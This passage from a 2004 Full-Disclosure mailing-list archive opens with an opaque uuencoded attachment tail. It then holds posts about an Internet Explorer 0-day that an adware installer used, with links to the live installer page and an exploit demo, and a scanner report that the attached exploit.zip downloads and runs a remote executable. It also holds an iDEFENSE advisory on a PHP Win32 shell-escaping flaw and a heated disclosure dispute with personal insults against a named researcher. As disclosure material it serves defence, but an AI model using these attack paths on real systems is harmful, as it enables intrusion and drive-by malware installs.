M*"<M4CA35$(Z)S%4/"<L6BM2748[)C5%/29!3SLV-4PZ-EE+*T8Y3#DV-50K
M1BU/.S)=23LV)4<Y-RQ/#0I-/38M4"M275,Z)D5-*T8]23E"*$ C,$A *"(@
M0"@B($ H(B! *"(@0"@B($ ]5D5$/29 72PS6%PK53$D#0I-+T!4*B at B($ H
M(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B!<*U4Q,B] 
M5"HH(B! #0I-*"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! 
M*"(@7#4E*%XC,$A *"(@0"@B($ H(B! #0I-*"(@0"@B($ H(B! *"(@0"@B
M($ H(B! *"(@0"@B($ O)3$D*"<Y(3LF14<[0U54.U<@7B,P2$ H(B! #0I-
M*"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B(%PQ
M)$4V*"8M3#@W+5,O-BU/#0I-.T<Q13M',%XC,$A *"(@0"@B($ H(B! *"(@
M0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! #0I-*"-1)#(U.$ X
M5E%!/%<L73LF74<Z-EE".U=!4SLV)4P[(UA<,#(@+2)"($ H(B! *"(@0"@B
M($ H(B! #0I-*"(@0"@F74XX5E%).%9,72E624$]1B53.%<I23PG,%HY1E%%
M/B4A3SPG-5 J(BE(/2<Q4#Q32$\K5CE,#0I-.38U5#HF74TY-E%).T9,3CE&
M444Y-S!..%9=32M6+4<Z,E5".C983SHV54,\)R%2.2)91#LF4$\P5S%2#0I-
M.R)92CQ7(%\P13D_-3<M13!%.2,[5EU+.C8T73XV-5,I1R%!.58T73,T+3 U
M)C52.S<L1CU6140])D!=#0I-+4,T4"E&044Z-CU(/2-45BPC($(K(BA6+3,@
M0BLB*%8L(R!"*R(H0BHS3$<H(%0J*"(@0"@B($ H(B! #0I-*"(@0"@B($ H
M(B! .B<I13E#5$(Z1B56.#<M0SQ&15 ](TE6.U9%1"DS*% L(TQ"+T-11CM6
M650H)RU)#0I-/D8T72A#)$(H)CE!.%8T72A%.44\1C%!.T8D3"@D)5(Z-B5,
M*R(A*#DV458Y-S%).%8D3"@G+4$[1RQ-#0I-/%8U4CHV.$(O1%U..R9%3CDR
M(2(X-EE+.C991R,P2$ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! #0I-
M*"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@D)4<\1C5%.S8U3CTC4$\Y
M1EU./2-87"M4)%XO)CE/#0I-.T<P0#Q615HY,U1"+#(H0#E&)4,Y,U1"-48U
M4CDF)4XX,E! ,#<I23 at V4$PH)$%%.R<Y13TF14,X,E! #0I-/%8E3CQ255,Y
M-RE).4(H7B\D*3(O0%0J*"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B
M($ H(B! #0I-*"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! 
M*"(@7# R("TB0B! *"(@0"@B($ H(B! #0I-*"(@0"@B($ H)EU..%9123A6
M3%TI5DE!/48E4SA7*4D\)S!:.49113XE(4\\)S50*B(I2#TG,5 \4TA/#0I-
M*U8Y3#DV-50Z)EU-.39123M&3$XY1E%%.3<P3CA674TK5BU'.C)50CHV6$\Z
M-E5#/"<A4CDB640[)E!/#0I-,%<Q4CLB64H\5R!?,$4Y/S4W+44P13DC.U9=
M2SHV-%T^-C53*4<A03E6-%TS-"TP-%=%4STF-4TP1RE/#0I-/5<M13Q%*44\
M,CE7.C8Q5#HC5%8M,R!&.B8U23E6050O,SA0+"(H3"A#.%4L(BA,*$,X4"PB
M*$PH0BA)#0I-+E(\0",P2$ H(B! *"(@0"@B($ H(B! *"(@0"@B(4@\1C5&
M+S(I2C at W.4$\5BU2.C<A5"Y'.4\Z-C!%#0I-+$, at 4"Y2*%XT5T53/28U32 at B
M.$ P1RE//5<M13Q"(3(Y-R55.C<I13LV-4X])RQ<*U0D7B\B748[5EE4#0I-
M+T-03S$D138O0%0J*"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H
M(B! *"(@0"@B($ H(B! #0I-+R)=)#(U.%XC,$A *"(@0"@B($ H(B! *"(@
M0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ O(ETT#0I-,2-8+2)"($ H
M(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! +R)=-#1#
M6"TB0B! #0I-*"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! 
M*"-03S4D*2\Q)41>(S!(0"@B($ H(B! #0I-*"(@0"@B($ H(B! *"(@0"@B
M($ H(B! *"(@0"\B730P-"DL,3-8+2)"($ H(B! *"(@0"@B($ H(B! #0I-
M*"(@0"@B($ H(B! *"(@0"\B748[5RE-+T!4*B at B($ H(B! *"(@0"@B($ H
M(B! *"(@0"@B($ H(B! #0I-+R)=-#$C6"TB0B! *"(@0"@B($ H(B! *"(@
M0"@B($ H(B! *"(@0"@C430Q(B%#.R8E4SQ354([5T%4#0I-/$9%32 at G/4DY
M)S%(+S,D7B\D12TQ4B%(.39%1SHG,%TL,SQ /%<I0R\R*4@])S%0/%-(3RM6
M.4PY-C54#0I-.B9=33DV44D[1DQ..49113DW,$XX5EU-*U9%33 at V/44\4EU5
M.%<@3RM7+4 at Z-E1..59%1BA"("TB0B! #0I-*"(@0"@B($ H(B! *"<]23DG
M,4 at O,R1>+R)=-#$C6"TB0B! *"(@0"@B($ H(B! *"(@0"@B($ H(B! #0I-
M*"(@7"M5,3(O0%0J*"(@0"@B($ H(B! *"(@0"@B($ H(B! *"(@7"M5,2(S
M5#$Y+T!4*B at B($ H(B! #0I-*"(@0"@B($ H(B! *"(@0"\B730P-"DL,3-8
M+2)"($ H(B! *"(@0"@B($ H(B! *"(@7"M4,2DU0U at M#0I-(D(@0"@B($ H
M(B! *"(@0"@B($ H(B! *"-1)#(U.$ X5E%!/%<L73LV740]-E%%+T-1(2@@
M5"HH(B! #0I-*"(@0#M664,[)D5#.E-41SI&)58X-RU#/$9%4#TC24XY-STB
M/$9=5SQ6-5(U5D5..29=5RHB*4@])S%0#0I-/%-(3RM6.4PY-C54.B9=33DV
M44D[1DQ..49113DW,$XX5EU-*U8M1SHR54(Z-EA/.C950SPG(5(Y(EE$#0I-
M.R903SI'-4T\)#58/28U4CM&)4PK1DE3/"-=(C5%734\5C4B-40M3SM634DY
M,U59.3<L1C4U*2PO-D%4#0I-/2<@6BM275<]5SQ..49113DW,$XX5EU-*U8Y
M3#DV-50X-BU#.3<M4RM614XY)C58*T8E4SPB.5<Z-C%4#0I-.B-45RPC($8Z
M)C5).59!5"\S.%4L(BA,*$,\4"PB*$PH0SA5+"(H3"A"*$DN4CQ (S!(0"@B
M($ H(B%(#0I-/$8U1B\R*4HX-SE!/%8M4CHW(50N1SE/.C8P12Q#(% N4BA>
M(S!(0"@B($ H(B! *"(@0"@B($ H(B! #0I-*"(@0"@C42DS-#Q .%9103Q7
M+%T\5R%!.%8T0",P2$ H(B! *"(A03LG,%TH1$5./2<I3SDG-4,Z-EE'#0I-
M*"0Y3#DV-50H)"5#.%8U4SQ2(2,Z)C5#.E9%3CE26$ U-EE0.#<I03LF444Y
M(B%#.U995CDV64DY-EE##0I-.3)80#4V65(Z-SE!.R8U1"@F.5(Y-C1 .%9!
M13A634D[1CQ.*"1113 at W*4XH)E5//$8T3BA"("TB0B! #0I-*"(@0"@G+5(X
M4U1".B<Q5#PG+%HK4EU&.R8U13TF04\[-C5,.C992RM&.4PY-C54*T8M3SLR
M74D[-B5'#0I-.3<L3STV+5 K4EU!.%8M13Q7+3\X1B5..T8U4C=3*%0L15U0
M.U<I5#@V4$XY5D5&*$(A0CM7*40Y-RA=#0I-+"(A5SHV,50Z(U1"+$,P4BA"
M(4 at Y-D5'.B<P72A#)%(L(BA>+R)=(2]"(%PK5#$I-4-8+2)"($ H(B! #0I-
M*"(@0"@B($ H(B! +R)=-#$C6"TB0B! *"(@0"@B($ H(B! *"-03S4E*%XC
M,$A *"(@0"@B($ H(B! #0I-+R)=-#!$720V,U at M(D(@0"@B($ H(B! +R)=
M-# T*2PQ,UA<*U<Q1"] 5"HH(B! *"(@0"\B750\0U at M#0I-(D(@0"@B(%PK
M5S%!.$9112]#4$\])C!>(S!(0"@C4$\])RA>(S!(7"M7,4$X1E%%+T!4*B\B
M)$TK,B%"#0I-/39%3#DB(50Z)C1 .B9=4CHW24\[1S%!.R(A3#HV644H)B54
M*"<Q2#DR(4([5S%4.U940#M6.$ ])D%%#0I-*"8M3SM',44[1S! /%8U0STF
M14\[0B!-*S-8+2)#430P-"DL,3(A0SDV44PT5R%!.%9%3CE35% H)BU%#0I-
M.R91,#@V,40Z-EE'+S, at 0#A&75(Y)C52+S, at 7B,P2$ H(U$T,$1=)#8S6"TB
M0B! +R4Q,B] 5"HH(B! #0I-*"-1-#$B(5<Z-C%4.B-462]#42DS-#Q .B8U
M23E6050O,R1 /%<I0R\R*4@])S%0/%-(3RM6.4PY-C54#0I-.B9=33DV44D[
M1DQ..49113DW,$XX5EU-*U9%33 at V/44\4EU5.%<@3RM7+4 at Z-E1..59%1BA"
M(5<Z-C%4#0I-.B-442PB(4([5RE$.3<H72PC6%PK53$D+T!4*B at B($ H(U$T
M,2(A0SLF)5,\4U5".U<I1#DW*$ ]1"5,#0I-.C8]3B\W,4\\(B%7.C8Q5#HC
M5%<M,R!>+R1%+3%2(4 at Y-D5'.B<P72PR("TB0B! *"(@0"@G+5(X4U1"#0I-
M.B<Q5#PG+%HK4EU&.R8U13TF04\[-C5,.C992RM&.4PY-C54*T8M3SLR74D[
M-B5'.3<L3STV+5 K4EU3#0I-.B9%32M&/4DY0BA /59%1#TF0%TL0S12*"8I
M3SQ&,44\0U10+T-03S4D,%XO(ETT-$-87"M5,2(S5#$Y#0I-+T-03S4D)2(S
M)#1>+R(D32LR($\K4B%4.3<M5"@F544\5RU!.58T0#M7-50\5D5$.3(A4SA7
M*4D\)S!-#0I-/$9=3STB($TK,U at M(D-1-# T*2PQ,B%#.3913#17(4$X5D5.
M.5-44"@F+44[)E$P.#8Q1#HV64<O,R! #0I-/59%1#TF0%TM4SA0*"8I3SQ&
M,44\0U10+T!4*B at B(%PU)"DO,25$7B,P2$ H(U$T-$-8+2)"($ H(B!<#0I-
M-20P0#U$)4PZ-CU.+S<Q3SPC6$ O(ETT,2-8+2)"($ O(ETT-$-87"M5,2(S
M5#$Y+T-03S4D)2(S)#1>#0I-(S!(7"@R5$TH)RU4.#<I5"@F.4\[5S%%/$(@
M32LS6"TB0U$T,#0I+#$R(4,Y-E%,-%<A03A614XY4U10#0I-*"8M13LF43 X
M-C%$.C991R\S($ ]5D5$/29 72U3.% H)BE//$8Q13Q#5% O0%0J*"(@7#4D
M*2\Q)41>#0I-(S!(0"@C430T0U at M(D(@0"@B(%PU)#! /40E3#HV/4XO-S%/
M/"-8+2)"($ H(B! *"-1)#(U.$ X5E%!#0I-/%<L73E&74\])C52+T-1(2@@
M5"HH(B! *"(@0#M664,[)D5#.E-41SI&)58X-RU#/$9%4#TC24XY-STB#0I-
M/$9=5SQ6-5(U5D5..29=5RHB*4@])S%0+D)<3SU7/5<K1CE,.38U5"M&+4\[
M,EU!.5<I13DV544[1S%3#0I--U<A3SPG-5 K1B53/"-=4#Q&740]-BU4+S<A
M4CHW.4$X5T1"*R,X5RXR4%8L(R!)+E(\0",P2$ H(B! #0I-*"(A2#Q&-48O
M,BE*.#<Y03Q6+5(Z-R%4+D<Y3SHV,$4L0R!0+E(H7B\F.4\[1S! /%9%6CDS
M5$(L,BA #0I-.48E0SDS5$(U1C52.28E3C at R4$ P-RE).#903"@D044[)SE%
M/29%0S at R4$ \5B5./%)54SDW*4DY0BA>#0I--"<I23U&)4,^,U!/.49=3CTC
M6%PK5"1>+R8Y3SM',$ \5D5:.3-40BPR*$ Y1B5#.3-40C5&-5(Y)B5.#0I-
M.#)00# W*4DX-E!,*"1!13LG.44])D5#.#)00#Q6)4X\4E53.3<I23E"*%XH
M)U! +R0D0",P2$ H(B! #0I-*"(A3SM&+4PZ-BU++S(]2C at W.4$\5BU2.C<A
M5"Y&644]5"E2.U<]4SDW*3<Z-EE$.U<\2"A&050])R!:#0I-*U)=5SU7/$XY
M1E%%.3<P3CA674TK5B5'/$8U13LV-4X])RT_/"9=4#TW($XX-RU0+U<A4CM6
M,54X5S!=#0I-/%8U0STW*4D])T1"*R,X5RXR4%8L(R!)+E(\0",P2$ H(B! 
M*"(A2#Q&-48O,BE*.#<Y03Q6+5(Z-R%4#0I-+D<Y3SHV,$4L0R!0+E(H7C16
M-4,]-RE)/2=$7"M4)%XH)U! +R0D0",P2$ H(B! *"(A3SM&+4PZ-BU+#0I-
M+S(]2C at W.4$\5BU2.C<A5"Y&644]5"E2.U<]4SDW*3<Z-EE$.U<\2"A&050]
M)R!:*U)=5SU7/$XY1E%%#0I-.3<P3CA674TK5B5'/$8U13LV-4X])RT_/"9=
M4#TW($XX-RU0+U<A4CM6,54X5S!=.#8M0SDW+5,Z-BE)#0I-.R9%5#XR*$PM
M0SQ9*R,X4"PB1%LI4B M(D(@0"@B($ H)D%2.38X72A&24$]1B53.%<I23PG
M,%H]1EU)#0I-.2(T4BPC(%LH0UDA.%8M13Q7+4DX1D5,.C<Q62\B72$O0B%<
M*"-1(2@@5"HH(B! *"(@0#M664,[)D5##0I-.E-41SI&)58X-RU#/$9%4#TC
M24XY-STB/$9=5SQ6-5(U5D5..29=5RHB*4@])S%0+D)<3SU7/5<K1CE,#0I-
M.38U5"M&+4\[,EU!.5<I13DV544[1S%3-U<A3SPG-5 K1B53/"-=4#Q&740]
M-BU4+S<Q13Q&55,H0E!6#0I-+5-$3"U#(% J,TQ'*"!4*B at B($ H(B! .B<I
M13E#5$(Z1B56.#<M0SQ&15 ](TE6.U9%1"DS*% L(TQ"#0I-+T4Q13Q&55,H
M)EU&*"4U4SDS4$\P,UA +R1%+3%2(4 at Y-D5'.B<P72PR("TB0B! *"(@0"@G
M+5(X4U1"#0I-.B<Q5#PG+%HK4EU&.R8U13TF04\[-C5,.C992RM&.4PY-C54
M*T8M3SLR74D[-B5'.3<L3STV+5 K4EU3#0I-.B9%32M&/4DY0BA /59%1#TF
M0%TL0RA0+T(@7# R("TB0B! *"(@0"@F05(Y-CA=*$9!5#TG(%HK4EU7#0I-
M/5<\3CE&444Y-S!..%9=32M6)4([5S54-U9!3SLV-$XX-RU0*$-9(3A&754]
M(B$F.R8U13TC4$\P,UA #0I-/R(@7# R("TB0B! *"(@0"@F05(Y-CA=*$9!
M5#TG(%HK4EU7/5<\3CE&444Y-S!..%9=32M7+4D])C4_#0I-.S8E4"M&)5,\
M(BA>-%9%5#DR(2TX-R!<*U0D7B at C42DS-#Q .B8U23E6050O,R1 (S!(0"@B
M($ H(B%3#0I-/$8L72A&050])R%3+D)<3SE&444Y-S%(.U9513LF14XZ4EE&
M.R8U13TB64,[5E1/.C9503E6-5,K5S5##0I-/")<3SQ604D[,EE'.C8X0B at G
M/4DY)S%(+S,L4"]"(%PP,B M(D(@0"@B($ H)D%2.38X72A&050])R%3#0I-
M+D)<3SE&444Y-S%(.U9513LF14XZ4EE&.R8U13TB64,[5E1/.%8]22LV*4D[
M0EU).S8M4#PG*40K1C%,#0I-.R)=(STG*4PK1DE3/"-=(C5%734\5C4B-40M
M3SM634DY,U59.3<L1CPF)4<Y,U54.U<A+#DW.44[(CE##0I-.T<Q-#XW(44O
M-34C-"5=-S$T42,S5%4E*%<Q3SPB*%XP1B5#.E(@+2)"($ H(B! *"<Q3R at E
M,4\\(U!/#0I-,#-87"M6.4\[1S!>+R8Y3SM',$ \5D5:.3-40BQ"*%XH(B!<
M,#(@+2)"($ H(B! *"9!4CDV.%TH1D%4#0I-/2<A4RY"7$\Y1E%%.3<Q2#M6
M544[)D5..E)91CLF-44](EE#.U943SA6/4DK-BE).T)=23LV+5 \)RE$#0I-
M*T8Q3#LB72,])RE,*T9)4SPC72(U15TU/%8U(C5$+4\[5DU).3-563DW+$8\
M)B5'.3-55#M7(2PY-SE%#0I-.R(Y0SM',30^-R%%+S4U(S0E73<Q-%$C,U15
M)2A7,4\\(BA>+R1%+3%2("TB0B! *"(@0"@F044Z-CU(#0I-/2-442PB(4$[
M)S!=*$0I03A63$ ])EQ -29=4"A"(5,\1BQ=*$9!5#TG(5,N0EQ/.49113DW
M,4@[5E5%#0I-.R9%3CI2648[)C5%/2)90SM65$\Z-E5!.58U4RM7-4,\(EQ/
M.$8E0SI5750[55U4.U<A/S at W*5([5SQ.#0I-.59%1BA"(5<Z-C%4.B-442PR
M("TB0B! *"(@0"@F*4\\1C%%/$-44"]#4$\P,UA<*U8Y3SM',%XO)"DR#0I-
M+T!4*B at B($ H(B! +R0I,B]#4$\Q)$4V+T-03S4D,%XO(ETT-$-87"@R5$TH
M)SE-+D(@42PB7%$L,EQ2#0I-+", at 4BY"(4$Y)C%%.2(A13M'.4D\1EU..S8U
M3CTB(58X-RE).#8I3#DW+$ ])EQ /29!12 at F.4\[5S%%#0I-/$(@32LS6"TB
M0B! +R)=-#!$720V,UA<*U4Q(3!$424O0%0J+R(D32LR(24[1C! ,49=3STF
M-5(H(E1-#0I%+T-002LR5$ Y-EE$*"8Y3SM7,44\0E1-+T-03S!$720V,UA<
:*U1!-#,T4%XC,$@M(D!@8 T*8 T*96YD#0H`
`
end



From jkuperus at planet.nl  Mon Jun  7 17:28:04 2004
From: jkuperus at planet.nl (Jelmer)
Date: Mon, 7 Jun 2004 11:28:04 -0500
Subject: [Full-Disclosure] You Have Received an Email From  Jelmer <jkuperus@planet.nl>
Message-ID: <000001c44c2d$d33df9b0$3200000a@alex>

This email contained a .zip attachment and due to the recent surge of viruses
.zip files are now being trapped on the server.  If you think that this email was
trapped on accident, forward this email to
jfarmer at industrialinfo.com



From jkuperus at planet.nl  Mon Jun  7 17:30:28 2004
From: jkuperus at planet.nl (Jelmer)
Date: Mon, 7 Jun 2004 18:30:28 +0200
Subject: [Full-Disclosure] [sb] Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
Message-ID: <000001c44cac$be9c3290$0100a8c0@hubercomp.local>

Just when I though it was save to once?more?use internet explorer I received
an?email bringing my attention to this webpage
http://216.130.188.219/ei2/installer.htm ? that according to him used an
exploit that affected fully patched internet explorer 6 browsers. Being
rather skeptical I carelessly clicked on the link only to witness how it
automatically installed addware on my pc!!!
?
Now there had been reports about 0day exploits making rounds for quite some
time like for instance this post
?
http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 
?
However I hadn't seen any evidence to support this up until now
Thor Larholm as usual added to the confusion by deliberately spreading
disinformation as seen in this post
?
http://seclists.org/lists/bugtraq/2004/May/0153.html
?
Attributing it to and I quote "just one of the remaining IE vulnerabilities
that are not yet patched"

I?ve attempted to write up an analysis that will show that there are at
least 2 new and AFAIK unpublished vulnerabilities (feel free to proof me
wrong) out there in the wild, one being fairly sophisticated 

You can view it at:

http://62.131.86.111/analysis.htm

Additionally you can view a harmless demonstration of the vulnerabilities at

http://62.131.86.111/security/idiots/repro/installer.htm

Finally I also attached the source files to this message
-------------- next part --------------
A non-text attachment was scrubbed...
Name: exploit.zip
Type: application/octet-stream
Size: 1686 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040607/e8ff98cf/attachment.obj 

From idlabs-advisories at idefense.com  Mon Jun  7 20:19:29 2004
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Mon, 7 Jun 2004 15:19:29 -0400
Subject: [Full-Disclosure] iDEFENSE Security Advisory 06.07.04: PHP Win32 escapeshellcmd() and
 escapeshellarg() Input Validation Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970502B29D02@idserv04.idef.com>

PHP Win32 escapeshellcmd() and escapeshellarg() Input Validation
Vulnerability

iDEFENSE Security Advisory 06.07.04:
www.idefense.com/application/poi/display?id=108&type=vulnerabilities
June 7, 2004

I. BACKGROUND

PHP is a widely-used general-purpose scripting language that is
especially suited for Web development and can be embedded into HTML.
More information is available at http://www.php.net.

II. DESCRIPTION

Remote exploitation of an input validation vulnerability in The PHP
Group's HTML-embedded scripting language PHP allows attackers to bypass
security protections.

The problem specifically exists within the shell command escape routines
escapeshellcmd() and escapeshellarg(). These routines are intended for
escaping shell metacharacters that may be present in user-supplied data
prior to passing them to command execution routines such as system(),
passthru(), popen(), exec() or the backtick operator. While both filter
routines are functional on the Unix platform, they fail to filter all
characters on the Windows platform. The escapeshellcmd() routine fails
to filter the characters '%|>', allowing attackers to access environment
variables, redirect output and execute arbitrary commands. The
escapeshellarg() routine fails to filter the character '%', allowing an
attacker to access environment variables.

III. ANALYSIS

Exploitation allows attackers to compromise an affected system under the
web server's privileges. Systems are not vulnerable by default, as a
publicly accessible script must be present that utilizes one of the
affected routines with user-supplied data.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in PHP
version 4.3.6 running on Microsoft Windows platforms. It is suspected
that previous versions are also vulnerable.

V. WORKAROUND

Pass user-supplied data through custom character filters implemented
with str_replace() or preg_replace(). Example:

    $user_supplied = preg_replace("/[>|%]/", "", $user_supplied);

VI. VENDOR RESPONSE

The input validation vulnerability inside escapeshellcmd() and 
escapeshellarg() on Win32 platform has been resolved. A new PHP version 
(4.3.7) immune to this vulnerability is due to be released on June 3rd,
2004.

VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

04/05/03   Vulnerability acquired by iDEFENSE
05/07/04   iDEFENSE clients notified
05/07/04   Initial vendor notification
05/17/04   Initial vendor response
06/07/04   Public disclosure

IX. CREDIT

3APA3A is credited with this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.



From jkuperus at planet.nl  Mon Jun  7 22:30:53 2004
From: jkuperus at planet.nl (Jelmer)
Date: Mon, 7 Jun 2004 23:30:53 +0200
Subject: [sb] RE: [Full-Disclosure] Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
In-Reply-To: <200406070243.i572hHv20372@netsys.com>
Message-ID: <000001c44cd6$b5e8ed30$0100a8c0@hubercomp.local>

Most recent exploits are like vehicles, they are assembled piece by piece,
you can make a virus scanner detect the wheels, but a car, a bus and a bike
are most certainly entirely different things! Yet none of them are any good
without wheels, oh and in this case painting the wheel another color would
circumvent detection, it's just that trivial, virus scanners are pretty
useless against these type of attacks


>From the psysm description:

"The vulnerability allows for the writing, and overwriting, of local files
by exploiting the ADODB.Stream object"

As I wrote in the analysis, this exploit uses both known and unknown
vulnerabilities. What is detected as psysm (the wheels) is what I described
in this post

http://seclists.org/lists/fulldisclosure/2003/Aug/1703.html

And is used in this exploit as well
However this flaw that has gone unpatched for many many months, only works
when run from a file on the local hard drive!, so essentially it's a useless
find unless you can complement it with one or more other vulnerabilities

Over the past couple of months it's been combined with many an exploit

I used it in combination with one of liu's finds
http://lists.netsys.com/pipermail/full-disclosure/2003-September/009992.html

Andreas sandblad used it:
http://www.forbiddenweb.org/viewtopic.php?t=5242&view=previous

Mindwarper used it:
http://www.securityfocus.com/archive/1/342471

Some unknown person used it in the wild and wrote a worm, http-equiv did a
writeup on it
http://seclists.org/lists/fulldisclosure/2004/Mar/1404.html

many many more people used it

But it are all separate exploits and none of the formentioned ones work
anymore they have been patched and dealt with, well except on thor's pc
naturally ;) but thor deserves only mockery





-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of Larry Seltzer
Sent: maandag 7 juni 2004 4:43
To: 'Jelmer'; bugtraq at securityfocus.com
Cc: full-disclosure at lists.netsys.com; peter at diplomatmail.net
Subject: RE: [Full-Disclosure] Internet explorer 6 execution of arbitrary
code (An analysis of the 180 Solutions Trojan)

>>Finally I also attached the source files to this message

My McAfee-based gateway scanner blocks the attachment and labels it as
"VBS/Psyme",
which has this description
(http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=100749): 

"This trojan exploits an unpatched (at the time of this writing)
vulnerability in
Internet Explorer.  The vulnerability allows for the writing, and
overwriting, of local
files by exploiting the ADODB.Stream object.  There are several variants of
this trojan.
Therefore this description is design to give an overview of how the trojan
works.

The trojan exists as VBScript.  This script contains instructions to
download a remote
executable, save it to a specified location on the local disk, and then
execute it."

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzer at ziffdavis.com 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


-- 
 Sie haben den Sicherheitsboten abonniert.
 http://sicherheitsbote.net





From jkuperus at planet.nl  Tue Jun  8 01:48:50 2004
From: jkuperus at planet.nl (Jelmer)
Date: Tue, 08 Jun 2004 02:48:50 +0200
Subject: [Full-Disclosure] RE: Internet explorer 6 execution of arbitrary code (An analysis of
 the 180 Solutions Trojan)
In-Reply-To: <40C4D447.9040203@linuxbox.org>
Message-ID: <00eb01c44cf2$60be7e30$3200000a@alex>

>> Just when I though it was save to once more use internet explorer I
received
>> an email bringing my attention to this webpage
>> http://216.130.188.219/ei2/installer.htm   that according to him used an
>> exploit that affected fully patched internet explorer 6 browsers. Being
>> rather skeptical I carelessly clicked on the link only to witness how it
>> automatically installed addware on my pc!!!


>So, you just clicked on the link which was reported as unsafe, did you? :)

Yes I did, I am not saying that it was a bright thing to do, but this was on
my home pc I really didn't have much to loose I use it to play games read
email, browse the web do some coding, 
Addware I can handle, it's usually pretty easy to remove once you know how
it works 

>Those protocol handlers always seem to cause problems and it's not just 
>on Windows, Apple has had just as many problems in dealing with these 
>for OS X. 

Agreed they are a persistent pain in the ass

If it's not a lack of input validation then it is a lack of 
>zone restrictions, perhaps the entire concept of higher privileged zones 
>of any kind should be abandoned.

>Are these really new vulnerabilities or just variants of old? The 
>"Location: URL:" proxy really just looks like the "Location: File:" 
>proxy that Liu Die Yu reported

Yes it's a lot like the file proxy
But surely you won't argue protocol proxying itself is vulnerability, it's a
feature, the vulnerability was that Microsoft engineers forgot to take it
into account in *that particular instance*, 

Liu die yu found out that you could inject javascript code in the search
pane res file using file:

These folks found out that you can use url:ms-its to do a redirect to a
local file

Surely this is a different thing! , If someone found a bufferoverflow
somewhere and the next year someone found another one in an entirely
different segment of code, you'd argue that it's the same thing??
Well they both used strcopy insecurely blah bla.. c'mon

>and the object caching stuff really just 
>looks like a variation of the advisories from GreyMagic back in 2002 
>with the showModalDialog caching and javascript: injection. Other than 
>those 2,

No its waaaaaaay more sophisticated than the method caching stuff I've
looked at it some more and there seems to be some really wacky stuff going
on. I suspect they had a look at the leaked IE source, I'll probably have to
update the analysis a bit if I can figure it what the hell it is they're
doing 

And again each and every one of the method caching vulnerabilities liu and
greymagic found where separate flaws, a separate oversight by Microsoft
engineers

>the only real vulnerability on the page is the Ibiza chm stuff 
>which still works on plenty of fully patched machines.

and what would that be?? 
Ibiza brought only a single new thing to the table and this is nothing like
it for the rest it build on old vulnerabilies, infact it was a variation of
one of my exploits , surely you knew that didn't you?
 

>> Now there had been reports about 0day exploits making rounds for quite
some
>> time like for instance this post
>>  
>> http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 

>Why is this a 0-day? Are you trying to start a holy war here? Please 
>explain why this is a 0-day if you make such claims.


It uses 2 new vulnerabilities that where

- not reported on any security list (afaik)
- first encountered in the wild
 
I won't argue semantics here but that's the reason why I chose to slap that
label on it


>> However I hadn't seen any evidence to support this up until now
>> Thor Larholm as usual added to the confusion by deliberately spreading
>> disinformation as seen in this post
>>  
>> http://seclists.org/lists/bugtraq/2004/May/0153.html

>Thor? Spreading disinformation?

Yes but only when he isn't blatantly lying
(http://archives.neohapsis.com/archives/fulldisclosure/2004-04/0261.html)

>> Attributing it to and I quote "just one of the remaining IE
vulnerabilities
>> that are not yet patched"

>That sounds about right.

Like I said these are 2 new issues, at best they are the same class of
vulnerabilities we have seen previously but they are not variations!


>> I've attempted to write up an analysis that will show that there are at
>> least 2 new and AFAIK unpublished vulnerabilities (feel free to proof me
>> wrong) out there in the wild, one being fairly sophisticated 

>I, personally, appreciate any serious research work, but why put down a 
>colleague while you're at it?

>> You can view it at:
>> 
>> http://62.131.86.111/analysis.htm
>> 
>> Additionally you can view a harmless demonstration of the vulnerabilities
at
>> 
>> http://62.131.86.111/security/idiots/repro/installer.htm
>> 
>> Finally I also attached the source files to this message

>If this really was a 0-day, isn't that a tad irresponsible?

So we are back to the full disclosure, limited disclosure, no disclosure
etc.. debate again, how trite

>As to Thor...

>You are claiming that he is deliberately spreading disinformation, but 
>then you proceed to verify his claims.


Verify??  These issue's weren't reported before they are new, thor is full
of crap and my post proofed it, it's unfortunate that you fail to comprehend
this perhaps you lack the expertise in this particular niche of security
research to tell the difference


>Are you sure you don't just have a personal vendetta against him?

No it's nothing personal it's just my general way of treating dishonest
individuals, there I many many reasons why I dislike pivx, but I don't think
this is the appropriate forum to vent them

>I don't see what's wrong with him pitching his product (Quik-Fix (?)) 
>when reporting his research. That's how the industry work.

